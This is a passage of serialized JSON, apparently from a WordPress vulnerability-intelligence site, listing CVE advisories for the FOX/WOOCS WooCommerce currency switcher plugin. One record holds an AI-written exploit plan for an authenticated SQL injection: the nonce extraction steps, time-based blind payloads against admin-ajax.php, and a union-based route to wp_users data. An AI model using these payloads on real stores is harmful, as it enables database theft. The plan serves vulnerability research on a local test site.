22:38:36",{"id":61,"url_slug":62,"title":63,"description":64,"plugin_slug":4,"theme_slug":38,"affected_versions":39,"patched_in_version":6,"severity":40,"cvss_score":65,"cvss_vector":66,"vuln_type":67,"published_date":68,"updated_date":69,"references":70,"days_to_patch":72,"patch_diff_files":73,"patch_trac_url":38,"research_status":49,"research_verified":50,"research_rounds_completed":51,"research_plan":74,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":57,"research_started_at":75,"research_completed_at":76,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2026-39497","fox-authenticated-shop-manager-sql-injection","FOX \u003C= 1.4.5 - Authenticated (Shop manager+) SQL Injection","The FOX plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-23 00:00:00","2026-04-15 21:25:56",[71],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Faa5b6311-d9ca-4736-a6e3-56c6746b2470?source=api-prod",24,[],"This research plan targets a SQL Injection vulnerability in the **FOX – Currency Switcher Professional for WooCommerce** plugin (version \u003C= 1.4.5). The vulnerability stems from the improper handling of user-supplied parameters in the statistics gathering logic, which are used in raw SQL queries without sufficient preparation or escaping.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** SQL Injection (Authenticated, Shop Manager+).\n*   **Plugin:** FOX – Currency Switcher Professional for WooCommerce (slug: `woocommerce-currency-switcher`).\n*   **Affected Version:** \u003C= 1.4.5.\n*   **Vulnerable Sink:** The statistics gathering functions (specifically `woocs_get_stats`) use user-supplied parameters like `order_status` or `profile` within SQL `WHERE` clauses or `IN` statements without using `$wpdb->prepare()`.\n*   **Reasoning:** The plugin relies on `sanitize_text_field()` or direct interpolation of array values into strings, which does not prevent SQL injection when the resulting string is used in a database query.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`.\n*   **Action:** `woocs_get_stats`.\n*   **Vulnerable Parameter:** `order_status`.\n*   **Authentication:** Requires a user with at least `shop_manager` capabilities.\n*   **Nonce:** Protected by a nonce named `woocs_nonce`.\n\n### 3. Code Flow\n1.  **Entry Point:** The plugin registers the AJAX action in `classes\u002Fwoocs.php` (or `index.php` depending on version structure) via `add_action( 'wp_ajax_woocs_get_stats', array($this, 'woocs_get_stats') );`.\n2.  **Input Acquisition:** The `woocs_get_stats()` function (found in `classes\u002Fwoocs.php`) retrieves the `order_status` parameter from `$_REQUEST['order_status']`.\n3.  **Vulnerable Processing:** The code constructs a SQL query string. It often iterates over `order_status` or uses `implode()` to create a comma-separated list for a SQL `IN` clause.\n    *   *Example Vulnerable Logic (Inferred):* \n        ```php\n        $order_status = $_REQUEST['order_status'];\n        $sql = \"SELECT ... WHERE order_status IN ('\" . implode(\"','\", $order_status) . \"') ...\";\n        $results = $wpdb->get_results($sql);\n        ```\n4.  **Database Sink:** The unparameterized string is passed directly to `$wpdb->get_results()`.\n\n### 4. Nonce Acquisition Strategy\nThe `woocs_nonce` is localized into the WordPress admin dashboard for users with access to the plugin settings.\n\n1.  **Precondition:** Authenticate as a `shop_manager`.\n2.  **Navigation:** Navigate to the FOX Settings page: `wp-admin\u002Fadmin.php?page=wc-settings&tab=woocs`.\n3.  **Extraction:** The plugin uses `wp_localize_script` to provide the nonce to its admin JS. The variable is typically `woocs_vars`.\n4.  **Execution Agent Steps:**\n    *   `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=wc-settings&tab=woocs\")`\n    *   `NONCE = browser_eval(\"window.woocs_vars?.woocs_nonce\")`\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload to confirm the vulnerability, as it is the most reliable method when query results are processed by the application before being returned in JSON format.\n\n*   **Target URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Payload Construction:**\n    If the code uses `implode(\"','\", $order_status)`, the payload needs to break out of the quote.\n    *   `order_status[0] = completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1`\n*   **Full Request Body:**\n    ```\n    action=woocs_get_stats&woocs_nonce=[EXTRACTED_NONCE]&order_status[]=completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1\n    ```\n\n### 6. Test Data Setup\n1.  **Users:** Create a user with the `shop_manager` role.\n2.  **Plugin Setup:** \n    *   Install and activate **WooCommerce**.\n    *   Install and activate **FOX - Currency Switcher Professional for WooCommerce** (version 1.4.5).\n3.  **Data Requirement:** The `woocs_get_stats` function may require at least one existing WooCommerce order in the database to reach the vulnerable query path.\n    *   `wp wc order create --user=admin --status=completed`\n\n### 7. Expected Results\n*   **Vulnerable Response:** The HTTP response will be delayed by approximately 5 seconds. The response body will likely be a JSON object containing statistics or an empty `success` message.\n*   **Baseline Response:** A request with a legitimate `order_status` (e.g., `completed`) will return almost instantaneously.\n\n### 8. Verification Steps\n1.  **Time Delay:** Use the `http_request` tool's `time_total` metric to confirm the sleep duration.\n2.  **Database Integrity:** Verify that the injection did not damage the database (the `SELECT` query is read-only).\n3.  **Data Extraction (Optional):** Attempt to extract the database version:\n    *   `order_status[]=completed') AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a) AND ('1'='1`\n\n### 9. Alternative Approaches\n*   **Error-Based Injection:** If `WP_DEBUG` is enabled, the plugin might leak SQL errors. Send a malformed status like `order_status[]=completed'`.\n*   **Union-Based Injection:** If the results of the query are reflected in the JSON response (e.g., in the graph data), identify the column count and use a `UNION SELECT` to leak `wp_users` data.\n*   **Alternative Parameter:** Check the `profile` parameter in the same AJAX action, as FOX often uses similar logic for saving and loading currency profiles.","2026-04-18 00:06:10","2026-04-18 00:06:36",{"id":78,"url_slug":79,"title":80,"description":81,"plugin_slug":4,"theme_slug":38,"affected_versions":82,"patched_in_version":83,"severity":84,"cvss_score":85,"cvss_vector":86,"vuln_type":87,"published_date":88,"updated_date":89,"references":90,"days_to_patch":92,"patch_diff_files":93,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-10640","the-fox-currency-switcher-professional-for-woocommerce-unauthenticated-arbitrary-shortcode-execution","The FOX – Currency Switcher Professional for WooCommerce \u003C= 1.4.2.2 - Unauthenticated Arbitrary Shortcode Execution","The The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.4.2.2. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.","\u003C=1.4.2.2","1.4.2.3","high",7.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:L","Improper Control of Generation of Code ('Code Injection')","2024-11-08 00:00:00","2024-11-09 11:19:44",[91],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fceb0dffa-02a2-4193-b2c4-4774091eacfa?source=api-prod",1,[],{"id":95,"url_slug":96,"title":97,"description":98,"plugin_slug":4,"theme_slug":38,"affected_versions":99,"patched_in_version":100,"severity":84,"cvss_score":85,"cvss_vector":86,"vuln_type":87,"published_date":101,"updated_date":102,"references":103,"days_to_patch":92,"patch_diff_files":105,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-8271","fox-currency-switcher-professional-for-woocommerce-unauthenticated-arbitrary-shortcode-execution-2","FOX – Currency Switcher Professional for WooCommerce \u003C= 1.4.2.1 - Unauthenticated Arbitrary Shortcode Execution","The The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.4.2.1. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode in the 'woocs_get_custom_price_html' function. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.","\u003C=1.4.2.1","1.4.2.2","2024-09-13 13:27:43","2024-09-14 02:04:21",[104],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdec51bd6-2ffe-47b6-9423-6131395bf439?source=api-prod",[],{"id":107,"url_slug":108,"title":109,"description":110,"plugin_slug":4,"theme_slug":38,"affected_versions":111,"patched_in_version":112,"severity":40,"cvss_score":113,"cvss_vector":114,"vuln_type":43,"published_date":115,"updated_date":116,"references":117,"days_to_patch":119,"patch_diff_files":120,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-43297","woocs-woocommerce-currency-switcher-missing-authorization","WOOCS – WooCommerce Currency Switcher \u003C= 1.4.2 - Missing Authorization","The WOOCS – WooCommerce Currency Switcher plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wp_ajax_woocs_admin_theme_id AJAX action in versions up to, and including, 1.4.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to change the theme id.","\u003C=1.4.2","1.4.2.1",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","2024-08-16 00:00:00","2024-08-19 19:40:48",[118],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcfd69b54-3056-4909-b3e8-ef2387ea9ea8?source=api-prod",4,[],{"id":122,"url_slug":123,"title":124,"description":125,"plugin_slug":4,"theme_slug":38,"affected_versions":126,"patched_in_version":127,"severity":40,"cvss_score":128,"cvss_vector":129,"vuln_type":87,"published_date":130,"updated_date":131,"references":132,"days_to_patch":134,"patch_diff_files":135,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-3734","fox-currency-switcher-professional-for-woocommerce-unauthenticated-arbitrary-shortcode-execution","FOX – Currency Switcher Professional for WooCommerce \u003C= 1.4.1.8 - Unauthenticated Arbitrary Shortcode Execution","The FOX – Currency Switcher Professional for WooCommerce plugin is vulnerable to Unauthenticated Arbitrary Shortcode Execution in versions up to, and including, 1.4.1.8. This allows unauthenticated attackers to execute arbitrary shortcodes. The severity and exploitability depends on what other plugins are installed and what shortcode functionality they provide.","\u003C=1.4.1.8","1.4.1.9",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:L","2024-04-24 00:00:00","2024-05-02 16:52:03",[133],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4c1d49d0-c9aa-401c-80b9-d4df7fe97691?source=api-prod",9,[],{"id":137,"url_slug":138,"title":139,"description":140,"plugin_slug":4,"theme_slug":38,"affected_versions":141,"patched_in_version":142,"severity":40,"cvss_score":113,"cvss_vector":143,"vuln_type":144,"published_date":145,"updated_date":146,"references":147,"days_to_patch":149,"patch_diff_files":150,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-30458","woocs-woocommerce-currency-switcher-cross-site-request-forgery","WOOCS – WooCommerce Currency Switcher \u003C= 1.4.1.7 - Cross-Site Request Forgery","The WOOCS – WooCommerce Currency Switcher plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.1.7. This is due to missing or incorrect nonce validation on the save_etalon() function.. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=1.4.1.7","1.4.1.8","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2024-03-28 00:00:00","2024-04-03 19:50:13",[148],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6db5f214-ba1a-4528-9bb6-0592822bf8bb?source=api-prod",7,[],{"id":152,"url_slug":153,"title":154,"description":155,"plugin_slug":4,"theme_slug":38,"affected_versions":156,"patched_in_version":157,"severity":40,"cvss_score":158,"cvss_vector":159,"vuln_type":160,"published_date":161,"updated_date":162,"references":163,"days_to_patch":165,"patch_diff_files":166,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2023-6556","fox-currency-switcher-professional-for-woocommerce-missing-authorization-to-authenticated-subscriber-stored-cross-site-s","FOX – Currency Switcher Professional for WooCommerce \u003C= 1.4.1.6 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting","The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via currency options in all versions up to, and including, 1.4.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=1.4.1.6","1.4.1.7",5.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2023-12-23 00:00:00","2024-07-29 21:36:50",[164],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8cb37019-33f6-4f72-adfc-befbfbf69e47?source=api-prod",220,[],{"id":168,"url_slug":169,"title":170,"description":171,"plugin_slug":4,"theme_slug":38,"affected_versions":172,"patched_in_version":173,"severity":40,"cvss_score":158,"cvss_vector":174,"vuln_type":144,"published_date":175,"updated_date":176,"references":177,"days_to_patch":179,"patch_diff_files":180,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2023-49834","woocs-woocommerce-currency-switcher-cross-site-request-forgery-via-deleteprofilesdata","WOOCS – WooCommerce Currency Switcher \u003C= 1.4.1.4 - Cross-Site Request Forgery via delete_profiles_data","The WOOCS – WooCommerce Currency Switcher plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.1.4. This is due to missing or incorrect nonce validation on the delete_profiles_data function. This makes it possible for unauthenticated attackers to delete profile data via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=1.4.1.4","1.4.1.5","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:L","2023-12-05 00:00:00","2024-01-22 19:56:02",[178],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F139d4ec2-1147-4332-a56d-633890f32560?source=api-prod",49,[],{"id":182,"url_slug":183,"title":184,"description":185,"plugin_slug":4,"theme_slug":38,"affected_versions":186,"patched_in_version":187,"severity":40,"cvss_score":188,"cvss_vector":189,"vuln_type":160,"published_date":190,"updated_date":176,"references":191,"days_to_patch":193,"patch_diff_files":194,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2022-4431","woocs-authenticated-contributor-stored-cross-site-scripting-via-shortcode","WOOCS \u003C= 1.3.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via shortcode","The WOOCS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode in versions up to, and including, 1.3.9.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=1.3.9.3","1.3.9.4",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2022-12-20 00:00:00",[192],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5cbcb659-6732-4893-b6a0-52a558cea351?source=api-prod",399,[],{"id":196,"url_slug":197,"title":198,"description":199,"plugin_slug":4,"theme_slug":38,"affected_versions":200,"patched_in_version":201,"severity":40,"cvss_score":202,"cvss_vector":203,"vuln_type":160,"published_date":204,"updated_date":176,"references":205,"days_to_patch":207,"patch_diff_files":208,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2022-0234","woocs-reflected-cross-site-scripting-via-ajax-action","WOOCS \u003C= 1.3.7.4 - Reflected Cross-Site Scripting via AJAX action","The WOOCS WordPress plugin before 1.3.7.5 does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting","\u003C=1.3.7.4","1.3.7.5",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2022-01-19 00:00:00",[206],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcd53147f-2230-4b8b-a1a1-df377b334072?source=api-prod",734,[],{"id":210,"url_slug":211,"title":212,"description":213,"plugin_slug":4,"theme_slug":38,"affected_versions":214,"patched_in_version":215,"severity":40,"cvss_score":202,"cvss_vector":203,"vuln_type":160,"published_date":216,"updated_date":176,"references":217,"days_to_patch":219,"patch_diff_files":220,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2021-25043","woocs-reflected-cross-site-scripting","WOOCS \u003C= 1.3.7.2 - Reflected Cross-Site Scripting","The WOOCS WordPress plugin before 1.3.7.3 does not sanitise and escape the custom_prices parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue","\u003C=1.3.7.2","1.3.7.3","2021-12-13 00:00:00",[218],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff5442453-6b72-4c8b-8b9f-59b8536aac73?source=api-prod",771,[],{"id":222,"url_slug":223,"title":224,"description":225,"plugin_slug":4,"theme_slug":38,"affected_versions":226,"patched_in_version":227,"severity":40,"cvss_score":202,"cvss_vector":203,"vuln_type":160,"published_date":228,"updated_date":176,"references":229,"days_to_patch":231,"patch_diff_files":232,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2021-24938","woocommerce-currency-switcher-reflected-cross-site-scripting","WooCommerce Currency Switcher \u003C= 1.3.7 - Reflected Cross-Site Scripting","The WOOCS WordPress plugin before 1.3.7.1 does not sanitise and escape the key parameter of the woocs_update_profiles_data AJAX action (available to any authenticated user) before outputting it back in the response, leading to a Reflected cross-Site Scripting issue","\u003C=1.3.7","1.3.7.1","2021-11-08 00:00:00",[230],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb85d8451-5283-4a76-8565-c667a3d2d917?source=api-prod",806,[],{"id":234,"url_slug":235,"title":236,"description":237,"plugin_slug":4,"theme_slug":38,"affected_versions":226,"patched_in_version":227,"severity":84,"cvss_score":238,"cvss_vector":239,"vuln_type":240,"published_date":241,"updated_date":242,"references":243,"days_to_patch":245,"patch_diff_files":246,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2021-24566","woocs-currency-switcher-for-woocommerce-professional-free-authenticated-local-file-inclusion","WOOCS – Currency Switcher for WooCommerce Professional Free \u003C= 1.3.7 - Authenticated Local File Inclusion","The WooCommerce Currency Switcher plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 1.3.7 via the \"woocs.php\" file. This allows low-level authenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2021-07-22 00:00:00","2024-06-17 17:04:22",[244],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc15eda1f-dc9f-4601-a337-ad3e66baf3b2?source=api-prod",1062,[],{"slug":248,"display_name":7,"profile_url":8,"plugin_count":249,"total_installs":250,"avg_security_score":13,"avg_patch_time_days":251,"trust_score":252,"computed_at":253},"realmag777",12,188290,196,71,"2026-05-19T19:36:44.011Z",[255,277,294,316,331],{"slug":256,"name":257,"version":258,"author":259,"author_profile":260,"description":261,"short_description":262,"active_installs":263,"downloaded":264,"rating":265,"num_ratings":266,"last_updated":267,"tested_up_to":16,"requires_at_least":268,"requires_php":269,"tags":270,"homepage":273,"download_link":274,"security_score":265,"vuln_count":275,"unpatched_count":28,"last_vuln_date":276,"fetched_at":30},"yaycurrency","YayCurrency – WooCommerce Multi-Currency Switcher","3.3.4","YayCommerce","https:\u002F\u002Fprofiles.wordpress.org\u002Fyaycommerce\u002F","\u003Cp>Selling to customers in Europe, North America, Asia, or somewhere else?\u003C\u002Fp>\n\u003Cp>YayCurrency makes it easy to offer a localized shopping experience \u003Cstrong>no matter where your buyers are\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>It is a powerful yet easy-to-use WooCommerce multi-currency switcher that helps you grow your international sales by letting customers \u003Cstrong>shop and pay in their local currency\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>🌐 With automatic exchange rates, prices based on country, and compatibility with \u003Ca href=\"https:\u002F\u002Fdocs.yaycommerce.com\u002Fyaycurrency\u002Fcompatibility\" rel=\"nofollow ugc\">50+ popular WooCommerce plugins\u003C\u002Fa>, YayCurrency makes you ready to scale your store.\u003C\u002Fp>\n\u003Cp>👉 \u003Ca href=\"https:\u002F\u002Fdemo.yaycommerce.com\u002Fyaycurrency\u002Fproduct\u002Fcap\u002F\" rel=\"nofollow ugc\">Quick Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🎮 \u003Ca href=\"http:\u002F\u002Fdemo.yaycommerce.com\u002Ftry-yaycurrency\u002F\" rel=\"nofollow ugc\">Admin Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>💎 \u003Ca href=\"https:\u002F\u002Fyaycommerce.com\u002Fyaycurrency-woocommerce-multi-currency-switcher\u002F\" rel=\"nofollow ugc\">YayCurrency Pro\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Key Features\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Local Currency Payments\u003C\u002Fstrong> – Showing real-time converted prices across your store and checkout.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Accurate Order Emails\u003C\u002Fstrong> – Order confirmation emails are sent in the customer’s selected currency, ensuring clarity and building trust.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Compatible with Cache Plugins\u003C\u002Fstrong> – Currency switching works smoothly without affecting your site speed or caching setup.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Customizable Conversion Fees & Rounding\u003C\u002Fstrong> – Adding conversion margins, applying percentage-based payment fees, and rounding prices clean, customer-friendly pricing displays.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Sell Globally with Localized Pricing – No Code Needed!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Whether you’re selling in USD, EUR, GBP, or beyond, YayCurrency allows you to display product prices in local currencies and handle payments accordingly. It works out of the box with a quick and intuitive setup, helping you create a frictionless shopping experience for customers worldwide.\u003C\u002Fp>\n\u003Cp>Used by WPMayor and trusted by store owners worldwide.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F2nNiZw07S5g?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation 